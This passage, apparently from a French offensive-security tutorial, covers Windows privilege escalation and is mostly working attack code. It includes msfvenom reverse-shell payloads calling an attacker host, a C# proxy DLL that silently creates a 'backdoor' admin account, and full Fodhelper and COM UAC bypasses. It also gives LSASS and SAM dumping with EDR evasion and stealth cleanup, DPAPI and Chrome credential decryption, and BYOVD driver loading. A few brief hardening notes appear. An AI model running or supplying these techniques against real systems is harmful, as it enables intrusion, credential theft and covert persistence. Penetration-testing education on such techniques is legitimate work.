                    Write-Host "[VULN] $parentDir est inscriptible" -ForegroundColor Red
                    Write-Host "       Créer : $($parts[0..($i)] -join '\' -replace '\s.*', '.exe')"
                }
            }
        }
    }
}

# Exploitation : créer un service wrapper malveillant
# Compiler ou utiliser msfvenom :
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe-service -o Vuln.exe

Modification de la configuration du service via permissions faibles

Si l'utilisateur dispose de droits de modification sur la configuration d'un service — droits SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER ou SERVICE_ALL_ACCESS — il peut modifier le binpath du service pour pointer vers un exécutable malveillant, changer le compte d'exécution, ou modifier les paramètres de démarrage. Cette vérification s'effectue via la commande sc sdshow qui affiche le Security Descriptor du service en SDDL (Security Descriptor Definition Language).

REM Vérifier le Security Descriptor d'un service (format SDDL)
sc sdshow VulnService

REM Avec accesschk - plus lisible
accesschk.exe /accepteula -ucqv "Authenticated Users" VulnService
accesschk.exe /accepteula -ucqv %USERNAME% VulnService

REM Si SERVICE_CHANGE_CONFIG est accordé, modifier le binpath
sc config VulnService binpath= "C:\temp\reverse.exe"
sc config VulnService obj= "LocalSystem" password= ""

REM Arrêter et redémarrer le service (nécessite SERVICE_START/STOP)
sc stop VulnService
timeout /t 2
sc start VulnService

REM Si on n'a pas le droit de restart, attendre le reboot ou forcer :
shutdown /r /t 0 /f

REM Alternative avec PowerUp (automatisé)
Import-Module .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'P@ss2026!'

La sécurisation des services Windows est détaillée dans notre guide de durcissement Windows Server, incluant les stratégies de moindre privilège pour les comptes de service et l'utilisation de gMSA.

Manipulation de privilèges

DLL Hijacking, DLL Side-Loading et Phantom DLL

Le DLL hijacking exploite l'ordre de recherche des DLL par le loader Windows. Lorsqu'un exécutable appelle LoadLibrary ou LoadLibraryEx sans spécifier un chemin absolu, Windows recherche la DLL selon un ordre prédéfini configurable : le répertoire de l'application (celui contenant l'exécutable), le répertoire System32, le répertoire System16 (obsolète), le répertoire Windows, le répertoire courant, puis les répertoires listés dans la variable d'environnement PATH. Si la fonctionnalité SafeDllSearchMode est désactivée (rare mais possible), le répertoire courant est recherché avant System32, élargissant la surface d'attaque.

Trois variantes du DLL hijacking existent pour l'escalade de privilèges. Le DLL replacement consiste à remplacer une DLL légitime si les permissions le permettent. Le DLL search order hijacking place une DLL malveillante dans un répertoire recherché avant celui de la DLL légitime. Le phantom DLL hijacking exploite les DLL que l'application tente de charger mais qui n'existent pas sur le système — aucun fichier n'est écrasé, ce qui rend la technique plus discrète et moins susceptible de casser la fonctionnalité de l'application.

Identification des DLL manquantes avec Process Monitor

Process Monitor (ProcMon) de Sysinternals est l'outil de référence pour identifier les DLL manquantes. En filtrant les événements avec le résultat "NAME NOT FOUND" et l'opération "CreateFile" sur des paths terminant par ".dll", on identifie les DLL que les processus privilégiés tentent de charger sans succès. Ces "phantom DLLs" sont les cibles idéales car leur exploitation ne casse pas l'application (la DLL n'existait pas avant) et ne nécessite pas de remplacer un fichier légitime.

# Recherche automatisée de DLL hijacking potentiel
# Étape 1 : Identifier les répertoires du PATH inscriptibles
$env:PATH -split ';' | Where-Object { $_ -and (Test-Path $_) } | ForEach-Object {
    $dir = $_
    $acl = Get-Acl $dir -ErrorAction SilentlyContinue
    if ($acl) {
        foreach ($access in $acl.Access) {
            if ($access.FileSystemRights -match "Write|Modify|FullControl|CreateFiles" -and
                $access.IdentityReference -match "Users|Everyone|Authenticated") {
                [PSCustomObject]@{
                    Directory = $dir
                    Identity = $access.IdentityReference
                    Rights = $access.FileSystemRights
                    InPATH = $true
                }
            }
        }
    }
}

# Étape 2 : Identifier les DLL chargées par les services SYSTEM depuis des paths non-standard
Get-Process -IncludeUserName | Where-Object { $_.UserName -match "SYSTEM" } | ForEach-Object {
    try {
        $_.Modules | Where-Object {
            $_.FileName -and $_.FileName -notmatch "^C:\\Windows\\System32|^C:\\Windows\\WinSxS"
        } | Select-Object @{N='Process';E={$_.ToString()}},
                          @{N='PID';E={$_.Id}},
                          @{N='Module';E={$_.ModuleName}},
                          @{N='Path';E={$_.FileName}}
    } catch {}
} | Sort-Object Path -Unique | Format-Table -AutoSize

# Étape 3 : Script pour surveiller les tentatives de chargement DLL (alternative à ProcMon)
# Utiliser Sysmon Event ID 7 avec configuration ciblée
# ou ETW tracing sur Microsoft-Windows-Kernel-Process

Création d'une DLL proxy pour exploitation discrète

Pour éviter de casser la fonctionnalité de l'application victime lors de l'exploitation d'un DLL hijack sur une DLL existante, on crée une DLL proxy. Cette DLL redirige tous les appels de fonctions légitimes vers la DLL originale (renommée) tout en exécutant du code malveillant lors de son chargement initial (DLL_PROCESS_ATTACH). Les outils comme SharpDLLProxy ou DLLirant automatisent la génération du code de forwarding.

Exploitation avancée

// DLL Proxy - exécute un payload au chargement puis forward les appels
// vers la DLL originale (renommée en _original.dll)
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

public class DllProxy
{
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public int cb; public string lpReserved; public string lpDesktop;
        public string lpTitle; public uint dwX, dwY, dwXSize, dwYSize;
        public uint dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
        public short wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess, hThread;
        public uint dwProcessId, dwThreadId;
    }

    // Mutex pour exécuter le payload une seule fois
    private static Mutex _mutex;

    // Point d'entrée DLL - appelé par le loader Windows
    [DllExport("DllMain", CallingConvention.StdCall)]
    public static bool DllMain(IntPtr hModule, uint reason, IntPtr reserved)
    {
        if (reason == 1) // DLL_PROCESS_ATTACH
        {
            bool createdNew;
            _mutex = new Mutex(true, "Global\\DllProxyPayload", out createdNew);

            if (createdNew) // Premier chargement uniquement
            {
                // Exécuter le payload dans un thread séparé pour ne pas bloquer
                new Thread(() =>
                {
                    Thread.Sleep(1000); // Attendre que l'app soit stable
                    try
                    {
                        STARTUPINFO si = new STARTUPINFO { cb = Marshal.SizeOf(typeof(STARTUPINFO)) };
                        PROCESS_INFORMATION pi;
                        CreateProcess(null,
                            "cmd.exe /c net user backdoor P@ss2026! /add && " +
                            "net localgroup administrators backdoor /add",
                            IntPtr.Zero, IntPtr.Zero, false,
                            0x08000000, // CREATE_NO_WINDOW
                            IntPtr.Zero, null, ref si, out pi);
                    }
                    catch { }
                }).Start();
            }
        }
        return true;
    }

    // Exports forwarded vers la DLL originale (exemple pour version.dll)
    // Généré automatiquement par SharpDLLProxy ou manuellement
    // #pragma comment(linker, "/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA")
    // #pragma comment(linker, "/export:GetFileVersionInfoW=version_orig.GetFileVersionInfoW")
    // etc.
}

Contournement de l'UAC (User Account Control)

L'UAC (User Account Control) représente la frontière entre les tokens Medium et High integrity pour les utilisateurs membres du groupe Administrators. Lorsqu'un administrateur local se connecte, Windows crée deux tokens : un token filtré (Medium integrity) qui supprime les privilèges administratifs et un token complet (High integrity) avec tous les privilèges. Par défaut, tous les processus lancés par l'utilisateur utilisent le token filtré. Le token complet n'est activé qu'après validation explicite via la popup de consentement UAC. Le contournement de l'UAC permet donc de passer de Medium à High integrity sans déclencher cette popup, ce qui constitue une forme d'escalade locale significative même si l'utilisateur est déjà "administrateur" au sens du groupe.

Les techniques de bypass UAC exploitent des programmes Windows marqués comme "auto-elevating" — des exécutables signés par Microsoft configurés pour s'exécuter automatiquement en High integrity sans popup UAC. Ces programmes sont conçus pour des opérations système légitimes mais peuvent être détournés pour exécuter du code arbitraire en contexte élevé. Les vecteurs d'exploitation incluent la manipulation de clés de registre lues par ces programmes, l'injection d'environnement, le détournement de COM objects et l'exploitation de DLL search order dans leur contexte élevé.

Techniques de bypass UAC et leur disponibilité

TechniqueBinaire exploitéMéthode d'exploitationWindows 10 22H2Windows 11 24H2
Fodhelperfodhelper.exeRegistry HKCU ms-settings shellFonctionneCorrigé
ComputerDefaultscomputerdefaults.exeRegistry HKCU ms-settingsFonctionneCorrigé
DiskCleanupcleanmgr.exeEnvironment variable %SYSTEMROOT%FonctionneFonctionne
SilentCleanupScheduled taskEnvironment variable %windir%FonctionneFonctionne
CMSTPcmstp.exeINF file avec COM object auto-elevateFonctionneFonctionne
WSResetwsreset.exeRegistry manipulation AppXFonctionnePartiellement corrigé
ICMLuaUtilCOM elevation monikerInterface COM auto-élevanteFonctionneFonctionne
EventViewereventvwr.exeRegistry mscfile handlerCorrigéCorrigé
sdcltsdclt.exeRegistry App Paths + DLL hijackFonctionnePartiellement corrigé

Bypass UAC via Fodhelper (technique classique de référence)

# Fodhelper UAC Bypass
# fodhelper.exe est auto-elevated et lit HKCU:\Software\Classes\ms-settings\Shell\Open\command
# avant d'exécuter l'action. En créant cette clé, on contrôle ce qui est exécuté en elevated.
# Fonctionne sur Windows 10 (toutes builds sauf les plus récentes) - corrigé sur Windows 11

# Étape 1 : Créer la structure de clé de registre
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null

# Étape 2 : Définir la commande à exécuter en elevated
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(Default)" -Value "powershell.exe -ep bypass -w hidden -c `"Start-Process cmd -Verb RunAs`"" -Force

# Étape 3 : Définir DelegateExecute (vide) pour activer le mécanisme
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -PropertyType String -Force | Out-Null

# Étape 4 : Lancer fodhelper - exécute notre commande en High integrity
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Étape 5 : Nettoyage (important pour la discrétion)
Start-Sleep -Seconds 5
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue

Bypass UAC via COM Elevation Moniker (ICMLuaUtil)

// Bypass UAC via ICMLuaUtil COM Interface - fonctionne sur Windows 10/11
// L'interface CMSTPLUA expose une méthode ShellExec qui s'exécute en elevated
// sans déclencher la popup UAC car l'objet COM est marqué auto-elevate

using System;
using System.Runtime.InteropServices;

// Définition de l'interface COM ICMLuaUtil
[ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface ICMLuaUtil
{
    [PreserveSig] int SetRasCredentials();
    [PreserveSig] int LaunchInfSection(string a, string b, string c, int d, int e);
    [PreserveSig] int LaunchInfSectionEx(string a, string b, string c, int d, int e, int f);
    [PreserveSig] int LaunchSetupCommand(string exe, string args, string dir,
        string title, IntPtr hWnd, int a, int b);
    [PreserveSig] int ShellExec(string file, string parameters, string directory,
        uint fMask, uint nShow);
}

public class UACBypassCOM
{
    [DllImport("ole32.dll", CharSet = CharSet.Unicode)]
    static extern int CoGetObject(string pszName, IntPtr pBindOptions,
        ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppv);

    static readonly Guid CLSID_CMSTPLUA = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
    static readonly Guid IID_ICMLuaUtil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

    public static void Execute(string command, string arguments = "")
    {
        // Utiliser l'Elevation Moniker pour instancier le COM object en elevated
        string moniker = $"Elevation:Administrator!new:{{{CLSID_CMSTPLUA}}}";
        Guid iid = IID_ICMLuaUtil;
        object comObj;

        int hr = CoGetObject(moniker, IntPtr.Zero, ref iid, out comObj);
        if (hr != 0)
        {
            Console.WriteLine($"[-] CoGetObject échoué avec HRESULT: 0x{hr:X8}");
            return;
        }

        ICMLuaUtil util = (ICMLuaUtil)comObj;
        hr = util.ShellExec(command, arguments, null, 0, 1); // SW_SHOW = 1

        if (hr == 0)
            Console.WriteLine($"[+] Commande exécutée en elevated: {command} {arguments}");
        else
            Console.WriteLine($"[-] ShellExec échoué: 0x{hr:X8}");

        Marshal.ReleaseComObject(comObj);
    }

    static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            Execute("cmd.exe", "/c start powershell.exe -ep bypass");
        }
        else
        {
            Execute(args[0], args.Length > 1 ? args[1] : "");
        }
    }
}

Notre article sur les techniques d'évasion antivirus détaille les méthodes complémentaires pour contourner Windows Defender lors de l'exécution de ces bypasses UAC.

Exploitation avancée

Tâches Planifiées, Autorun Registry et AlwaysInstallElevated

Les tâches planifiées Windows (Task Scheduler) et les clés de registre autorun représentent des vecteurs d'escalade persistants souvent négligés. Une tâche planifiée qui s'exécute en tant que SYSTEM ou un autre compte privilégié, et dont le script ou binaire référencé est modifiable par un utilisateur standard, offre une escalade directe au prochain déclenchement. Les clés autorun permettent quant à elles de forcer l'exécution de code au démarrage du système, à la connexion d'un utilisateur, ou lors de certains événements spécifiques. Enfin, la politique AlwaysInstallElevated offre un chemin d'escalade trivial lorsqu'elle est activée.

Exploitation des tâches planifiées vulnérables

# Énumération complète des tâches planifiées avec analyse de vulnérabilité
$tasks = Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" }
$vulnerable = @()

foreach ($task in $tasks) {
    $principal = $task.Principal
    # Cibler les tâches qui s'exécutent en SYSTEM ou avec privilèges élevés
    if ($principal.UserId -match "SYSTEM|LocalSystem|S-1-5-18" -or
        $principal.RunLevel -eq "Highest" -or
        $principal.LogonType -eq "ServiceAccount") {

        foreach ($action in $task.Actions) {
            if ($action.CimClass.CimClassName -eq "MSFT_TaskExecAction") {
                $execPath = $action.Execute -replace '"', ''
                $workDir = $action.WorkingDirectory
                $arguments = $action.Arguments

                # Vérifier si le binaire principal est inscriptible
                if ($execPath -and (Test-Path $execPath)) {
                    $acl = Get-Acl $execPath -ErrorAction SilentlyContinue
                    $writable = $acl.Access | Where-Object {
                        $_.FileSystemRights -match "Write|Modify|FullControl" -and
                        $_.IdentityReference -match "Users|Everyone|Authenticated|BUILTIN"
                    }
                    if ($writable) {
                        $vulnerable += [PSCustomObject]@{
                            TaskName = $task.TaskName
                            TaskPath = $task.TaskPath
                            RunAs = $principal.UserId
                            Execute = $execPath
                            Arguments = $arguments
                            WritableBy = ($writable.IdentityReference -join ", ")
                            Vector = "Binary inscriptible"
                        }
                    }
                }

                # Vérifier les scripts référencés dans les arguments
                if ($arguments -match '([A-Za-z]:\\[^\s"]+\.(ps1|bat|cmd|vbs|js))') {
                    $scriptPath = $Matches[1]
                    if (Test-Path $scriptPath) {
                        $scriptAcl = Get-Acl $scriptPath -ErrorAction SilentlyContinue
                        $scriptWritable = $scriptAcl.Access | Where-Object {
                            $_.FileSystemRights -match "Write|Modify|FullControl" -and
                            $_.IdentityReference -match "Users|Everyone|Authenticated"
                        }
                        if ($scriptWritable) {
                            $vulnerable += [PSCustomObject]@{
                                TaskName = $task.TaskName
                                TaskPath = $task.TaskPath
                                RunAs = $principal.UserId
                                Execute = "Script: $scriptPath"
                                Arguments = $arguments
                                WritableBy = ($scriptWritable.IdentityReference -join ", ")
                                Vector = "Script argument inscriptible"
                            }
                        }
                    }
                }
            }
        }
    }
}

$vulnerable | Format-Table TaskName, RunAs, Execute, WritableBy, Vector -AutoSize

Registre Autorun et clés exploitables

# Clés autorun à auditer pour des binaires inscriptibles
$autorunKeys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices",
    "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
)

foreach ($key in $autorunKeys) {
    if (Test-Path $key) {
        Get-ItemProperty $key -ErrorAction SilentlyContinue |
            Get-Member -MemberType NoteProperty |
            Where-Object { $_.Name -notmatch "^PS" } |
            ForEach-Object {
                $value = (Get-ItemProperty $key).$($_.Name)
                if ($value -match '([A-Za-z]:\\[^\s"]+\.exe)') {
                    $exePath = $Matches[1]
                    if (Test-Path $exePath) {
                        $acl = Get-Acl $exePath -ErrorAction SilentlyContinue
                        $writable = $acl.Access | Where-Object {
                            $_.FileSystemRights -match "Write|Modify" -and
                            $_.IdentityReference -match "Users|Everyone"
                        }
                        if ($writable) {
                            Write-Host "[VULN] $key\$($_.Name)" -ForegroundColor Red
                            Write-Host "       Binary: $exePath (inscriptible)" -ForegroundColor Yellow
                        }
                    }
                }
            }
    }
}

AlwaysInstallElevated : exploitation triviale via MSI

La politique AlwaysInstallElevated est une configuration de Group Policy qui permet à n'importe quel utilisateur d'installer des packages MSI avec des privilèges NT AUTHORITY\SYSTEM. Elle doit être activée simultanément dans HKLM et HKCU pour fonctionner. Bien qu'elle soit rarement activée intentionnellement en production, certains administrateurs la configurent pour simplifier les déploiements logiciels dans les environnements de développement ou de test, sans réaliser que ces environnements sont souvent accessibles depuis le réseau de production.

Exploitation avancée

# Vérifier si AlwaysInstallElevated est activé (les DEUX clés doivent être à 1)
$hklm = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" `
    -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
$hkcu = Get-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" `
    -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue

if ($hklm.AlwaysInstallElevated -eq 1 -and $hkcu.AlwaysInstallElevated -eq 1) {
    Write-Host "[+] AlwaysInstallElevated est ACTIVÉ !" -ForegroundColor Green
    Write-Host "[+] Escalade triviale via MSI malveillant" -ForegroundColor Green
} else {
    Write-Host "[-] AlwaysInstallElevated n'est pas activé" -ForegroundColor Red
}
REM Vérification CMD
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul

REM Génération d'un MSI malveillant (sur machine attaquant)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o evil.msi

REM Installation silencieuse du MSI (s'exécute en SYSTEM)
msiexec /quiet /qn /i C:\temp\evil.msi

REM Alternative : MSI qui ajoute un utilisateur administrateur
msfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd2026! -f msi -o adduser.msi
msiexec /quiet /qn /i adduser.msi

AlwaysInstallElevated en défense : Cette configuration ne devrait JAMAIS être activée en production, en développement, ni en test si les machines sont jointes au domaine ou accessibles depuis le réseau d'entreprise. L'audit régulier via GPO des paramètres "Computer Configuration\Administrative Templates\Windows Components\Windows Installer" et le monitoring des Event ID 1033/1034 (installation MSI) permettent de détecter cette misconfiguration et son exploitation. Si un besoin métier légitime existe pour l'installation de logiciels par les utilisateurs, Microsoft Intune, SCCM ou Azure Automation offrent des alternatives sécurisées qui maintiennent le contrôle administratif sans exposer le système à une escalade triviale en trois commandes.

Extraction de Credentials : SAM, LSASS et DPAPI

L'extraction de credentials constitue souvent une étape complémentaire à l'escalade de privilèges — ou parfois une étape préalable. Une fois les privilèges SYSTEM obtenus, l'accès aux bases de données d'authentification locales (SAM) et aux secrets en mémoire (LSASS) permet le mouvement latéral et la persistance dans l'environnement. Inversement, certaines credentials peuvent être extraites en tant qu'utilisateur standard (historiques PowerShell, fichiers de configuration, DPAPI de l'utilisateur courant) et révéler des mots de passe administrateurs permettant une escalade directe via runas ou WinRM local.

Extraction de la base SAM et des secrets LSA

La base SAM (Security Account Manager) stocke les hash NTLM des comptes locaux dans le registre sous HKLM\SAM. La clé de chiffrement de la SAM est stockée dans HKLM\SYSTEM. L'extraction nécessite les privilèges SYSTEM, SeBackupPrivilege ou un accès physique (boot sur un live CD). Les hash extraits peuvent être utilisés en pass-the-hash sans être craqués, ou craqués offline avec hashcat/john pour obtenir les mots de passe en clair.

REM Méthode 1 : reg save (nécessite admin/SYSTEM - la plus simple)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY

REM Méthode 2 : Volume Shadow Copy (si reg save est bloqué)
vssadmin create shadow /for=C:
REM Noter le "Shadow Copy Volume Name" dans la sortie
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY

REM Méthode 3 : diskshadow (script - utile sur les serveurs)
echo set context persistent nowriters > C:\temp\shadow.txt
echo add volume C: alias myVolume >> C:\temp\shadow.txt
echo create >> C:\temp\shadow.txt
echo expose %myVolume% Z: >> C:\temp\shadow.txt
diskshadow /s C:\temp\shadow.txt

REM Extraction offline avec Impacket (sur machine attaquant Linux)
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

REM Méthode 4 : mimikatz (si exécutable sur la machine)
mimikatz.exe "privilege::debug" "lsadump::sam" "lsadump::secrets" "exit"

Dump LSASS : techniques classiques et évasion EDR

Le processus LSASS (Local Security Authority Subsystem Service) maintient en mémoire les credentials des sessions actives : hash NTLM, tickets Kerberos, mots de passe en clair (si WDigest est activé), clés DPAPI et certificats. L'accès à la mémoire de LSASS est le Graal de la post-exploitation Windows, mais c'est aussi l'action la plus surveillée par les EDR modernes. Les techniques de dump doivent donc combiner efficacité et évasion.

# Méthode 1 : comsvcs.dll MiniDump (technique LOLBin - pas de fichier suspect sur disque)
# comsvcs.dll est une DLL Microsoft légitime présente sur tous les Windows
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\temp\lsass.dmp full

# Méthode 2 : ProcDump (outil Sysinternals - signé Microsoft)
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

# Méthode 3 : nanodump (évasion EDR avancée)
# Utilise des syscalls directs, évite les hooks ntdll
# Crée un dump avec signature PE valide pour contourner les vérifications
.\nanodump.exe --write C:\temp\nano.dmp --valid-sig --fork

# Méthode 4 : dump indirect via handle duplication
# Certains processus ont déjà un handle ouvert vers LSASS
# On peut dupliquer ce handle sans ouvrir lsass directement
.\HandleKatz.exe --target lsass.exe --output C:\temp\lsass.bin

# Méthode 5 : Silent Process Exit (technique de persistence du dump)
# Configure Windows pour créer un dump quand lsass crashe ou s'arrête
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v LocalDumpFolder /t REG_SZ /d "C:\temp" /f

# Analyse du dump avec mimikatz (sur machine attaquant, offline)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
# Ou avec pypykatz (Python, cross-platform)
pypykatz lsa minidump lsass.dmp

DPAPI : déchiffrement des secrets utilisateur

DPAPI (Data Protection API) est le mécanisme standard Windows pour protéger les données sensibles des applications : mots de passe sauvegardés dans Chrome/Edge/Firefox, credentials Wi-Fi, connexions RDP mémorisées, clés privées de certificats et secrets d'applications tierces. Chaque utilisateur dispose d'une master key dérivée de son mot de passe (ou du hash NTLM pour les comptes domaine). Avec les privilèges SYSTEM, on accède aux master keys de tous les utilisateurs via la clé de backup du Domain Controller ou via le DPAPI backup key local.

Manipulation de privilèges

REM Localiser les blobs DPAPI des utilisateurs
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\*

REM Localiser les master keys
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Protect\*

REM Extraction avec mimikatz (en SYSTEM)
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

REM Déchiffrement des credentials Chrome
mimikatz.exe "dpapi::chrome /in:\"C:\Users\victim\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect" "exit"

REM SharpDPAPI - extraction automatisée en C# (plus discret que mimikatz)
SharpDPAPI.exe triage
SharpDPAPI.exe credentials /password:UserPassword123
SharpDPAPI.exe machinetriage
SharpDPAPI.exe backupkey /server:DC01.domain.local

REM Credentials Wi-Fi (en clair avec privilèges admin)
netsh wlan show profiles
netsh wlan show profile name="CorpWiFi" key=clear

Kernel Exploits et BYOVD (Bring Your Own Vulnerable Driver)

Les exploits noyau représentent le vecteur d'escalade le plus puissant mais aussi le plus risqué. Une vulnérabilité dans un driver kernel, dans les composants graphiques (win32k.sys) ou dans le noyau Windows lui-même permet une escalade directe vers SYSTEM depuis n'importe quel niveau de privilège, contournant toutes les protections userland incluant l'UAC, les niveaux d'intégrité et même certaines implémentations de Credential Guard. Le risque principal est le crash système (BSOD) en cas d'exploitation incorrecte ou d'incompatibilité de version, ce qui rend ces techniques inadaptées aux environnements de production critiques sauf en dernier recours.

Identification des vulnérabilités kernel exploitables

# Collecter les informations de patch pour Windows Exploit Suggester
systeminfo > C:\temp\systeminfo.txt

# Informations détaillées sur le build
Get-ComputerInfo | Select-Object OsVersion, OsBuildNumber, OsHardwareAbstractionLayer,
    WindowsVersion, WindowsBuildLabEx

# Comparer avec les exploits connus (sur machine attaquant)
# python3 wes.py systeminfo.txt --exploits-only --impact "Elevation of Privilege"

# Lister les drivers tiers installés (surface d'attaque kernel étendue)
driverquery /v /fo csv | ConvertFrom-Csv |
    Where-Object { $_."Module Name" -notmatch "^(nt|hal|ci|ks|ndis|tcp|http|srv|smb)" } |
    Select-Object "Module Name", "Display Name", "Driver Type", "Link Date" |
    Format-Table -AutoSize

# Vérifier les versions des drivers pour des vulnérabilités connues
Get-CimInstance Win32_PnPSignedDriver | Where-Object {
    $_.DeviceName -and $_.DriverVersion -and
    $_.InfName -notmatch "^(oem|prnms|net|usb)"
} | Select-Object DeviceName, DriverVersion, Manufacturer, DriverDate |
    Sort-Object Manufacturer | Format-Table -AutoSize

# Identifier les drivers vulnérables connus (base LOLDrivers)
Get-CimInstance Win32_SystemDriver | ForEach-Object {
    $driverPath = $_.PathName -replace '\\SystemRoot', "$env:SystemRoot" -replace '\\\?\?\\', ''
    if ($driverPath -and (Test-Path $driverPath)) {
        $hash = (Get-FileHash $driverPath -Algorithm SHA256 -ErrorAction SilentlyContinue).Hash
        if ($hash) {
            [PSCustomObject]@{
                Name = $_.Name
                Path = $driverPath
                SHA256 = $hash
                State = $_.State
                StartMode = $_.StartMode
            }
        }
    }
} | Export-Csv C:\temp\drivers_hashes.csv -NoTypeInformation

Exploits kernel notables (2021-2026)

CVENom / ComposantVersions affectéesFiabilitéDétails
CVE-2021-1732Win32k EoP (xxxCreateWindowEx)Win 10 1803-20H2HauteType confusion dans win32kfull.sys
CVE-2021-36934HiveNightmare / SeriousSAMWin 10 1809+Très hauteACL permissives sur SAM via VSS
CVE-2021-34527PrintNightmare (Print Spooler)Toutes versionsHauteRCE/LPE via chargement de driver
CVE-2022-21882Win32k EoP (win32kfull)Win 10/11, Server 2022MoyenneUse-after-free dans win32k
CVE-2023-28252CLFS EoP (clfs.sys)Win 10/11, ServerHauteHeap overflow dans Common Log FS
CVE-2024-21338AppLocker Driver EoP (appid.sys)Win 10/11HauteIOCTL non validé dans appid.sys
CVE-2024-30088Kernel EoP (ntoskrnl)Win 11 23H2MoyenneRace condition dans le kernel
CVE-2024-38106Windows Kernel EoPWin 11 24H2MoyenneRace condition exploitable

BYOVD : exploitation de drivers signés vulnérables

La technique BYOVD (Bring Your Own Vulnerable Driver) consiste à charger un driver légitime — signé par un éditeur de confiance et donc accepté par Windows — mais contenant une vulnérabilité connue qui permet la lecture/écriture arbitraire de mémoire kernel. Une fois le driver chargé, l'attaquant exploite la vulnérabilité pour modifier les structures kernel (typiquement le token du processus courant) et s'attribuer les privilèges SYSTEM. Cette technique nécessite des droits administrateurs pour charger le driver mais permet de contourner les protections kernel comme Credential Guard ou PatchGuard dans certains cas.

Exploitation kernel

REM Exemple avec RTCore64.sys (MSI Afterburner - CVE-2019-16098)
REM Ce driver permet la lecture/écriture arbitraire de mémoire physique

REM Étape 1 : Charger le driver vulnérable (nécessite admin)
sc create RTCore64 type=kernel binPath="C:\temp\RTCore64.sys"
sc start RTCore64

REM Étape 2 : Utiliser un outil d'exploitation du driver
REM KDU (Kernel Driver Utility) par hfiref0x
KDU.exe -prv 1 -map C:\temp\unsigned_driver.sys

REM Étape 3 : Modifier le token du processus courant en kernel
REM (via l'outil d'exploitation spécifique au driver)
REM Résultat : processus cmd.exe avec token SYSTEM

REM Nettoyage
sc stop RTCore64
sc delete RTCore64
del C:\temp\RTCore64.sys

REM Liste de drivers BYOVD fréquemment utilisés :
REM - RTCore64.sys (MSI) - R/W mémoire physique
REM - dbutil_2_3.sys (Dell) - R/W mémoire arbitraire
REM - ene.sys (ENE Technology) - R/W ports I/O
REM - gdrv.sys (Gigabyte) - R/W mémoire physique
